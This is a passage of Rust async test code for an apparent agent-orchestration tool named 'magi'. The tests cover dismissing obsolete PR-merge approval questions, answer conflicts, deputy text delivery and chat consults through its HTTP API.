11404 round: 1,
11405 rounds: 4,
11406 red_at_merge: Vec::new(),
11407 });
11408 state
11409 }
11410
11411 #[tokio::test]
11412 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11413 for owner in ["missing", "current", "completed", "later"] {
11414 let fx = Fixture {
11415 home: TempDir::new().unwrap(),
11416 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11417 };
11418 let mut state = obsolete_approval_state();
11419 state.status = RunStatus::Landing;
11420 state.parked = true;
11421 state.driver_exited = true;
11422 let mut q = Question::new(
11423 state.id.clone(),
11424 crate::land::APPROVAL_NODE.into(),
11425 "land".into(),
11426 "Old approval".into(),
11427 "Original evidence".into(),
11428 vec!["merge".into(), "hold".into()],
11429 );
11430 state.land_approval = Some(crate::run::LandApproval {
11431 question: q.id.clone(),
11432 head: "head".into(),
11433 });
11434 state.save_under(fx.home.path()).unwrap();
11435 let stale = state.clone();
11436 fx.questions().put(&mut q).unwrap();
11437 let mut task = Task::new(
11438 "Owner".into(),
11439 "Original instruction".into(),
11440 state.repo.clone(),
11441 Source::Human,
11442 );
11443 task.runs.push(state.id.clone());
11444 task.status = if owner == "completed" {
11445 TaskStatus::Done
11446 } else {
11447 TaskStatus::Parked
11448 };
11449 if owner == "later" {
11450 task.runs.push("later-run".into());
11451 }
11452 if owner != "missing" {
11453 fx.queue().put(&mut task).unwrap();
11454 }
11455 let ui = Arc::new(Ui::new(
11456 fx.queue(),
11457 fx.questions(),
11458 fx.talks(),
11459 fx.runs(),
11460 fx.home.path().into(),
11461 state.repo.clone(),
11462 ));
11463 let response = question_answer(
11464 State(ui),
11465 Path(q.id.clone()),
11466 Ok(Json(NewAnswer {
11467 choice: Some(crate::merge_decision::DISMISS.into()),
11468 text: None,
11469 })),
11470 )
11471 .await
11472 .unwrap();
11473 assert_eq!(
11474 response.0.question.resolution().as_deref(),
11475 Some(crate::merge_decision::DISMISS)
11476 );
11477 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11478 assert_eq!(disk.status, RunStatus::Superseded);
11479 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11480 assert!(!crate::merge_decision::resumable_hold(&disk));
11481 assert_eq!(
11482 serde_json::to_value(&disk.pr).unwrap(),
11483 serde_json::to_value(&stale.pr).unwrap()
11484 );
11485 assert_eq!(fx.questions().count_open(), 0);
11486 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11487 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11488 if owner == "missing" {
11489 assert!(fx.queue().list().is_empty());
11490 } else {
11491 let after = fx.queue().get(&task.id).unwrap();
11492 assert_eq!(
11493 after.status,
11494 if owner == "current" {
11495 TaskStatus::Done
11496 } else {
11497 task.status
11498 }
11499 );
11500 assert_eq!(after.runs, task.runs);
11501 assert_eq!(after.instruction, task.instruction);
11502 assert_eq!(after.action_applied(&q.id), owner == "current");
11503 }
11504 }
11505 }
11506
11507 #[tokio::test]
11508 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11509 let fx = Fixture::start().await;
11510 let mut state = obsolete_approval_state();
11511 state.status = RunStatus::Landing;
11512 state.parked = true;
11513 state.driver_exited = true;
11514 let mut q = Question::new(
11515 state.id.clone(),
11516 crate::land::APPROVAL_NODE.into(),
11517 "land".into(),
11518 "Superseded PR approval".into(),
11519 "Original review evidence".into(),
11520 vec!["merge".into(), "hold".into()],
11521 );
11522 state.land_approval = Some(crate::run::LandApproval {
11523 question: q.id.clone(),
11524 head: "old-reviewed-head".into(),
11525 });
11526 state.save_under(fx.home.path()).unwrap();
11529 let stale_driver = state.clone();
11530 fx.questions().put(&mut q).unwrap();
11531 let path = fx
11532 .home
11533 .path()
11534 .join("questions")
11535 .join(format!("{}.json", q.id));
11536 let mut legacy = serde_json::to_value(&q).unwrap();
11537 legacy["schema"] = 9.into();
11538 legacy.as_object_mut().unwrap().remove("merge_target");
11539 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11540
11541 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11544 let answer_path = format!("/api/questions/{}/answer", q.id);
11545 let res = fx.post(&answer_path, Some(&body)).await;
11546 assert_eq!(res.status, 200, "{}", res.body);
11547 let disk = fx.questions().get(&q.id).unwrap();
11548 assert_eq!(
11549 disk.resolution().as_deref(),
11550 Some(crate::merge_decision::DISMISS)
11551 );
11552 assert!(disk.detail.starts_with("Original review evidence"));
11553 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11554 assert_eq!(retired.status, RunStatus::Superseded);
11555 assert_eq!(
11556 serde_json::to_value(&retired.pr).unwrap(),
11557 serde_json::to_value(&state.pr).unwrap()
11558 );
11559 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11560 assert!(!crate::merge_decision::resumable_hold(&retired));
11561 assert!(fx.queue().list().is_empty());
11562 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11563 let addr = Fixture::serve(
11565 fx.home.path(),
11566 PathBuf::from("/repo/magi"),
11567 launch_idle,
11568 None,
11569 )
11570 .await;
11571 let reconnected = Fixture {
11572 home: fx.home,
11573 addr,
11574 };
11575 let listed = reconnected.get("/api/questions").await.json();
11576 assert!(
11577 listed
11578 .as_array()
11579 .unwrap()
11580 .iter()
11581 .all(|q| q["status"] != "open")
11582 );
11583 assert_eq!(listed[0]["id"], q.id, "history remains available");
11584 assert_eq!(
11585 reconnected.get("/api/health").await.json()["questions_open"],
11586 0
11587 );
11588 assert_eq!(
11589 reconnected
11590 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11591 .await
11592 .status,
11593 409
11594 );
11595 assert!(
11597 reconnected
11598 .questions()
11599 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11600 .is_err()
11601 );
11602 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11605 }
11606
11607 #[tokio::test]
11608 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11609 let fx = Fixture::start().await;
11610 let mut state = obsolete_approval_state();
11611 state.status = RunStatus::Landing;
11612 state.driver_exited = true;
11613 let mut q = Question::new(
11614 state.id.clone(),
11615 crate::land::APPROVAL_NODE.into(),
11616 "land".into(),
11617 "Obsolete approval".into(),
11618 String::new(),
11619 vec!["merge".into(), "hold".into()],
11620 );
11621 state.land_approval = Some(crate::run::LandApproval {
11622 question: q.id.clone(),
11623 head: "head".into(),
11624 });
11625 state.save_under(fx.home.path()).unwrap();
11626 fx.questions().put(&mut q).unwrap();
11627 let mut task = Task::new(
11628 "Owner".into(),
11629 "Original instruction".into(),
11630 state.repo.clone(),
11631 Source::Human,
11632 );
11633 task.runs = vec![state.id.clone(), "later-run".into()];
11634 fx.queue().put(&mut task).unwrap();
11635 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11636 let claim = fx.queue().claim(&task.id).unwrap();
11637 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11638 let path = format!("/api/questions/{}/answer", q.id);
11639 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11640 assert!(fx.questions().get(&q.id).unwrap().status.open());
11641 drop(claim);
11642 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11643 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11644 assert!(fx.questions().get(&q.id).unwrap().status.open());
11645 drop(publication);
11646 state.driver_exited = false;
11648 state.driver_pid = None;
11649 state.save_under(fx.home.path()).unwrap();
11650 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11651 state.driver_exited = true;
11652 state.land_armed_head = Some("head".into());
11653 state.save_under(fx.home.path()).unwrap();
11654 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11655 state.land_armed_head = None;
11656 state.save_under(fx.home.path()).unwrap();
11657 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11658 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11659 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11660 }
11661
11662 #[tokio::test]
11663 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11664 let fx = Fixture::start().await;
11665 let mut state = obsolete_approval_state();
11666 state.status = RunStatus::Landing;
11667 state.driver_exited = true;
11668 let mut q = Question::new(
11669 state.id.clone(),
11670 crate::land::APPROVAL_NODE.into(),
11671 "land".into(),
11672 "Obsolete approval".into(),
11673 String::new(),
11674 vec!["merge".into(), "hold".into()],
11675 );
11676 state.land_approval = Some(crate::run::LandApproval {
11677 question: q.id.clone(),
11678 head: "head".into(),
11679 });
11680 state.save_under(fx.home.path()).unwrap();
11681 fx.questions().put(&mut q).unwrap();
11682 let mut task = Task::new(
11683 "Owner".into(),
11684 "Original instruction".into(),
11685 state.repo.clone(),
11686 Source::Human,
11687 );
11688 task.runs.push(state.id.clone());
11689 task.status = TaskStatus::Parked;
11690 fx.queue().put(&mut task).unwrap();
11691 state.merge_decision = Some(crate::merge_decision::Decision {
11694 question: q.id.clone(),
11695 target: crate::merge_decision::Target {
11696 pr: state.pr.as_ref().unwrap().url.clone(),
11697 head: "head".into(),
11698 language: "ja".into(),
11699 },
11700 choice: crate::merge_decision::DISMISS.into(),
11701 closed: false,
11702 replacement_run: None,
11703 replacement_pr: None,
11704 });
11705 state.status = RunStatus::Superseded;
11706 state.save_under(fx.home.path()).unwrap();
11707 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11708 let path = format!("/api/questions/{}/answer", q.id);
11709 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11710 let done = fx.queue().get(&task.id).unwrap();
11711 assert_eq!(done.status, TaskStatus::Done);
11712 assert_eq!(done.runs, task.runs);
11713 assert_eq!(done.instruction, task.instruction);
11714 assert!(done.action_applied(&q.id));
11715 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11716 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11717 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11718 }
11719
11720 #[tokio::test]
11721 async fn merge_decision_api_persists_exact_target_and_selected_action() {
11722 let fx = Fixture {
11723 home: TempDir::new().unwrap(),
11724 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11725 };
11726 for choice in [
11727 crate::land::HOLD,
11728 crate::land::REPAIR,
11729 crate::land::APPROVE,
11730 crate::merge_decision::WITHDRAW,
11731 "reimplement:beta",
11732 ] {
11733 let mut q = Question::new(
11734 "old-run".into(),
11735 crate::land::APPROVAL_NODE.into(),
11736 "land".into(),
11737 "Decision".into(),
11738 "Review findings".into(),
11739 vec![
11740 "merge".into(),
11741 "hold".into(),
11742 crate::land::REPAIR.into(),
11743 crate::merge_decision::WITHDRAW.into(),
11744 "reimplement:beta".into(),
11745 ],
11746 );
11747 q.merge_target = Some(crate::merge_decision::Target {
11748 pr: "https://github.com/example/repo/pull/42".into(),
11749 head: "exact-reviewed-head".into(),
11750 language: "ja".into(),
11751 });
11752 q.consult = Some(ask::ChatConsult {
11753 talk: "another-conversation".into(),
11754 at: jiff::Timestamp::now(),
11755 });
11756 fx.questions().put(&mut q).unwrap();
11757 let ui = Arc::new(Ui::new(
11758 fx.queue(),
11759 fx.questions(),
11760 fx.talks(),
11761 fx.runs(),
11762 fx.home.path().into(),
11763 std::path::PathBuf::from("."),
11764 ));
11765 let response = question_answer(
11766 State(ui.clone()),
11767 Path(q.id.clone()),
11768 Ok(Json(NewAnswer {
11769 choice: Some(choice.into()),
11770 text: None,
11771 })),
11772 )
11773 .await
11774 .unwrap();
11775 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11776 let disk = fx.questions().get(&q.id).unwrap();
11777 assert_eq!(disk.merge_target, q.merge_target);
11778 assert_eq!(disk.consult, q.consult);
11779 assert!(
11780 disk.answer_authority.is_none(),
11781 "a direct owner card is its own decision"
11782 );
11783 assert_eq!(disk.resolution().as_deref(), Some(choice));
11784 assert!(
11785 question_answer(
11786 State(ui),
11787 Path(q.id.clone()),
11788 Ok(Json(NewAnswer {
11789 choice: Some("merge".into()),
11790 text: None
11791 }))
11792 )
11793 .await
11794 .is_err(),
11795 "an already settled decision cannot turn into merge approval"
11796 );
11797 }
11798 }
11799
11800 #[tokio::test]
11801 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11802 let fx = Fixture {
11803 home: TempDir::new().unwrap(),
11804 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11805 };
11806 let mut state = crate::land::tests::repair_state(true, true);
11807 state.status = RunStatus::Landing;
11808 state.parked = true;
11809 state.driver_exited = true;
11810 let mut task = Task::new(
11811 "Existing PR owner".into(),
11812 state.instruction.clone(),
11813 state.repo.clone(),
11814 Source::Human,
11815 );
11816 task.runs.push(state.id.clone());
11817 task.status = TaskStatus::Parked;
11818 fx.queue().put(&mut task).unwrap();
11819 let mut q = Question::new(
11820 state.id.clone(),
11821 crate::land::APPROVAL_NODE.into(),
11822 "land".into(),
11823 "Contested merge".into(),
11824 "Original evidence".into(),
11825 vec!["merge".into(), "hold".into()],
11826 );
11827 state.land_approval = Some(crate::run::LandApproval {
11828 question: q.id.clone(),
11829 head: "reviewed-head".into(),
11830 });
11831 state.save_under(fx.home.path()).unwrap();
11832 fx.questions().put(&mut q).unwrap();
11833 task.hold_manual(Some("Pause this PR".into()));
11835 fx.queue().put(&mut task).unwrap();
11836 let ui = Arc::new(Ui::new(
11839 fx.queue(),
11840 fx.questions(),
11841 fx.talks(),
11842 fx.runs(),
11843 fx.home.path().to_path_buf(),
11844 state.repo.clone(),
11845 ));
11846 let response = question_answer(
11847 State(ui),
11848 Path(q.id.clone()),
11849 Ok(Json(NewAnswer {
11850 choice: Some(crate::land::REPAIR.into()),
11851 text: None,
11852 })),
11853 )
11854 .await
11855 .unwrap();
11856 assert_eq!(response.0.question.id, q.id);
11857 let upgraded = fx.questions().get(&q.id).unwrap();
11858 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11859 assert!(upgraded.detail.starts_with("Original evidence"));
11860 let claim = fx.queue().claim(&task.id).unwrap();
11861 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11862 assert!(
11863 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11864 "an existing driver keeps its claim"
11865 );
11866 drop(claim);
11867 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11868 let resumed = fx.queue().get(&task.id).unwrap();
11869 assert_eq!(
11870 resumed
11871 .resume_override
11872 .as_ref()
11873 .unwrap()
11874 .pinned_run
11875 .as_deref(),
11876 Some(state.id.as_str())
11877 );
11878 assert!(resumed.status.runnable());
11879 assert_eq!(resumed.instruction, task.instruction);
11880 assert_eq!(resumed.runs, task.runs);
11881 assert!(resumed.action_applied(&q.id));
11882 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11883 assert_eq!(fx.queue().list().len(), 1);
11884 assert_eq!(
11885 fx.queue().get(&task.id).unwrap().resume_override,
11886 resumed.resume_override
11887 );
11888 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11889 assert!(
11890 disk.merge_repairs.is_empty(),
11891 "only the claimed run driver may execute repair"
11892 );
11893 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11894 }
11895
11896 #[tokio::test]
11897 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11898 let fx = Fixture::start().await;
11899 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11900 let path = format!("/api/questions/{id}/answer");
11901
11902 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11903 assert_eq!(res.status, 200, "{}", res.body);
11904 let body = res.json();
11905 assert_eq!(body["status"], "answered");
11906 assert_eq!(body["answer"]["choice"], "Redis");
11907
11908 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11912 assert_eq!(again.status, 409, "{}", again.body);
11913 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11914 }
11915
11916 #[tokio::test]
11917 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11918 let home = tempfile::tempdir().unwrap();
11919 let ui = delta_test_ui(home.path());
11920 let mut q = Question::new(
11921 "task".into(),
11922 crate::land::APPROVAL_NODE.into(),
11923 "land".into(),
11924 "Explain?".into(),
11925 String::new(),
11926 vec!["hold".into()],
11927 );
11928 q.deputy = Some(ask::Deputy::new("context".into()));
11929 ui.questions.put(&mut q).unwrap();
11930 let mut cfg = stub_config();
11931 cfg.daemon.max_deputies = 0;
11932 let mut status = crate::daemon::Status::new();
11933 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11934 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11935 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11936 let error = question_say(
11937 State(ui.clone()),
11938 Path(q.id.clone()),
11939 Ok(Json(NewSay {
11940 body: "Explain the findings".into(),
11941 })),
11942 )
11943 .await
11944 .unwrap_err();
11945 assert_eq!(
11946 error.text_reason,
11947 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11948 );
11949 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11950
11951 let mut text = Question::new(
11952 "task".into(),
11953 "ask".into(),
11954 "operator".into(),
11955 "Which name?".into(),
11956 String::new(),
11957 vec![],
11958 );
11959 ui.questions.put(&mut text).unwrap();
11960 let Json(view) = question_answer(
11961 State(ui.clone()),
11962 Path(text.id.clone()),
11963 Ok(Json(NewAnswer {
11964 choice: None,
11965 text: Some("chosen name".into()),
11966 })),
11967 )
11968 .await
11969 .unwrap();
11970 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11971 assert!(!ui.questions.get(&text.id).unwrap().status.open());
11972 }
11973
11974 #[tokio::test]
11975 async fn question_text_handler_admission_without_transport() {
11976 let home = tempfile::tempdir().unwrap();
11977 let ui = delta_test_ui(home.path());
11978 let mut q = Question::new(
11979 "task".into(),
11980 crate::land::APPROVAL_NODE.into(),
11981 "land".into(),
11982 "May this PR merge?".into(),
11983 String::new(),
11984 vec!["hold".into()],
11985 );
11986 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11987 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11988 ui.questions.put(&mut q).unwrap();
11989 let say = || {
11990 Ok(Json(NewSay {
11991 body: "Explain the findings".into(),
11992 }))
11993 };
11994 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11995 .await
11996 .unwrap_err();
11997 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11998 let response = rejected.into_response();
11999 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12000 .await
12001 .unwrap();
12002 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12003 assert_eq!(body["code"], "question_text_unavailable");
12004 assert_eq!(body["reason"], "deputy_exhausted");
12005 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12006 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12007 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12008 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12009 .await
12010 .unwrap();
12011 assert_eq!(view.text_delivery.state, "live");
12012 assert!(view.question.waiter.is_none());
12013 assert!(view.question.cwd.is_none());
12014 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12015 ui.questions.drop_lease(&q.id);
12016 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12017 .await
12018 .unwrap_err();
12019 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12020 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12021 let _ = question_answer(
12022 State(ui.clone()),
12023 Path(q.id.clone()),
12024 Ok(Json(NewAnswer {
12025 choice: Some("hold".into()),
12026 text: None,
12027 })),
12028 )
12029 .await
12030 .unwrap();
12031 assert_eq!(
12032 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12033 Some("hold")
12034 );
12035 }
12036
12037 #[tokio::test]
12038 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12039 let fx = Fixture::start().await;
12040 let store = fx.questions();
12041 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12042 store
12043 .update(&id, |q| {
12044 q.node = crate::land::APPROVAL_NODE.to_owned();
12045 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12046 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12047 Ok(())
12048 })
12049 .unwrap();
12050 let path = format!("/api/questions/{id}/say");
12051 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12052 assert_eq!(refused.status, 422, "{}", refused.body);
12053 assert!(
12054 refused.json()["error"]
12055 .as_str()
12056 .unwrap()
12057 .contains("deputy_exhausted")
12058 );
12059 assert!(store.get(&id).unwrap().thread.is_empty());
12060
12061 store.beat(&id, ask::WaiterKind::Deputy);
12063 let view = fx.get("/api/questions").await.json();
12064 assert_eq!(view[0]["text_delivery"]["state"], "live");
12065 let accepted = fx
12066 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12067 .await;
12068 assert_eq!(accepted.status, 200, "{}", accepted.body);
12069 let before = std::fs::read(store.path_of(&id)).unwrap();
12070
12071 store.drop_lease(&id);
12074 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12075 assert_eq!(refused.status, 422, "{}", refused.body);
12076 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12077 let held = fx
12078 .post(
12079 &format!("/api/questions/{id}/answer"),
12080 Some(r#"{"choice":"hold"}"#),
12081 )
12082 .await;
12083 assert_eq!(held.status, 200, "{}", held.body);
12084 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12085 }
12086
12087 #[tokio::test]
12088 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12089 let repo = tempfile::tempdir().unwrap();
12090 let mut cfg = stub_config();
12091 cfg.daemon.max_deputies = 0;
12092 std::fs::write(
12093 repo.path().join("magi.toml"),
12094 toml::to_string(&cfg).unwrap(),
12095 )
12096 .unwrap();
12097 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12098 let mut status = crate::daemon::Status::new();
12099 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12100 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12101 let id = ask(&fx, "Explain?", &["hold"]);
12102 fx.questions()
12103 .update(&id, |q| {
12104 q.node = crate::land::APPROVAL_NODE.into();
12105 q.deputy = Some(ask::Deputy::new("context".into()));
12106 q.deputy.as_mut().unwrap().agent = "stub".into();
12107 Ok(())
12108 })
12109 .unwrap();
12110 cfg.daemon.max_deputies = 1;
12111 std::fs::write(
12112 repo.path().join("magi.toml"),
12113 toml::to_string(&cfg).unwrap(),
12114 )
12115 .unwrap();
12116 let view = fx.get("/api/questions").await.json();
12117 assert_eq!(view[0]["deputies_enabled"], true);
12118 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12119 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12120 let res = fx
12121 .post(
12122 &format!("/api/questions/{id}/say"),
12123 Some(r#"{"body":"Please explain"}"#),
12124 )
12125 .await;
12126 assert_eq!(res.status, 422, "{}", res.body);
12127 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12128 }
12129
12130 #[tokio::test]
12131 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12132 let fx = Fixture::start().await;
12133 let id = ask(&fx, "No seat", &[]);
12134 let store = fx.questions();
12135 let before = std::fs::read(store.path_of(&id)).unwrap();
12136 let res = fx
12137 .post(
12138 &format!("/api/questions/{id}/say"),
12139 Some(r#"{"body":"hello"}"#),
12140 )
12141 .await;
12142 assert_eq!(res.status, 422, "{}", res.body);
12143 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12144 let res = fx
12145 .post(
12146 &format!("/api/questions/{id}/answer"),
12147 Some(r#"{"text":"hello"}"#),
12148 )
12149 .await;
12150 assert_eq!(res.status, 200, "{}", res.body);
12151 assert_eq!(
12152 store.get(&id).unwrap().resolution().as_deref(),
12153 Some("hello")
12154 );
12155 }
12156
12157 #[tokio::test]
12158 async fn saying_something_appends_a_turn_without_answering() {
12159 let fx = Fixture::start().await;
12160 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12161 fx.questions().beat(&id, ask::WaiterKind::Asker);
12162 let path = format!("/api/questions/{id}/say");
12163
12164 let res = fx
12165 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12166 .await;
12167 assert_eq!(res.status, 200, "{}", res.body);
12168 let body = res.json();
12169 assert_eq!(body["status"], "open", "talking back is not a decision");
12170 assert_eq!(body["answer"], Value::Null);
12171 assert_eq!(body["thread"][0]["who"], "operator");
12172 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12173 assert_eq!(body["waiting_on_agent"], true);
12174 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12176 }
12177
12178 #[tokio::test]
12179 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12180 let fx = Fixture::start().await;
12181 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12182
12183 let list = fx.get("/api/questions").await.json();
12184 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12185
12186 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12187 assert_eq!(res.status, 409, "{}", res.body);
12188 let q = fx.questions().get(&id).unwrap();
12189 assert!(q.status.open());
12190 assert!(q.consult.is_none());
12191 }
12192
12193 #[tokio::test]
12194 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12195 let fx = Fixture::start().await;
12196 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12197 let cfg = Config {
12198 agents: vec![crate::config::AgentSpec {
12199 id: "mock".to_owned(),
12200 kind: crate::config::AgentKind::Command,
12201 model: None,
12202 command: vec!["true".to_owned()],
12203 extra_args: Vec::new(),
12204 env: Default::default(),
12205 prompt_delivery: None,
12206 max_turn_secs: None,
12207 }],
12208 ..Config::default()
12209 };
12210 let talk = crate::talk::begin(
12211 &fx.talks(),
12212 &cfg,
12213 fx.home.path().to_path_buf(),
12214 Some("mock"),
12215 )
12216 .unwrap();
12217 let mut task = Task::new(
12218 "t".to_owned(),
12219 "Do it".to_owned(),
12220 PathBuf::from("/repo/magi"),
12221 Source::Agent {
12222 run: talk.id.clone(),
12223 node: crate::queue::CHAT_NODE.to_owned(),
12224 },
12225 );
12226 task.start("20260902-000000-beef".to_owned());
12227 fx.queue().put(&mut task).unwrap();
12228
12229 let list = fx.get("/api/questions").await.json();
12230 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12231 assert_eq!(
12232 list[0]["choices"],
12233 serde_json::json!(["SQLite", "Redis"]),
12234 "the hand-over is never a choice"
12235 );
12236 fx.questions()
12237 .update(&id, |q| {
12238 q.node = crate::land::APPROVAL_NODE.into();
12239 q.choices = vec!["merge".into(), "hold".into()];
12240 Ok(())
12241 })
12242 .unwrap();
12243 let list = fx.get("/api/questions").await.json();
12244 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12245 assert_eq!(list[0]["can_consult_chat"], true);
12246 fx.questions()
12247 .update(&id, |q| {
12248 q.node = crate::bump::NOTICE_NODE.into();
12249 Ok(())
12250 })
12251 .unwrap();
12252 let list = fx.get("/api/questions").await.json();
12253 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12254 assert_eq!(list[0]["can_consult_chat"], false);
12255 }
12256
12257 #[tokio::test]
12258 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12259 let fx = Fixture::start().await;
12260 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12261 fx.questions()
12262 .update(&id, |q| {
12263 q.node = crate::land::APPROVAL_NODE.into();
12264 q.choices = vec!["merge".into(), "hold".into()];
12265 Ok(())
12266 })
12267 .unwrap();
12268 let cfg = Config {
12269 agents: vec![crate::config::AgentSpec {
12270 id: "mock".to_owned(),
12271 kind: crate::config::AgentKind::Command,
12272 model: None,
12273 command: vec!["true".to_owned()],
12274 extra_args: Vec::new(),
12275 env: Default::default(),
12276 prompt_delivery: None,
12277 max_turn_secs: None,
12278 }],
12279 ..Config::default()
12280 };
12281 let repo = fx.home.path().join("chat-repo");
12283 std::fs::create_dir_all(&repo).unwrap();
12284 let toml = repo.join("magi.toml");
12285 std::fs::write(&toml, "this is = = not toml").unwrap();
12286 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12287 let mut task = Task::new(
12288 "t".to_owned(),
12289 "Do it".to_owned(),
12290 PathBuf::from("/repo/magi"),
12291 Source::Agent {
12292 run: talk.id.clone(),
12293 node: crate::queue::CHAT_NODE.to_owned(),
12294 },
12295 );
12296 task.start("20260902-000000-beef".to_owned());
12297 fx.queue().put(&mut task).unwrap();
12298
12299 let path = format!("/api/questions/{id}/consult");
12300 let res = fx.post(&path, None).await;
12301 assert!(res.status >= 400, "{}", res.body);
12302 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12303 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12304
12305 std::fs::write(&toml, "").unwrap();
12306 let res = fx.post(&path, None).await;
12307 assert_eq!(res.status, 202, "{}", res.body);
12308 assert!(fx.questions().get(&id).unwrap().consult.is_some());
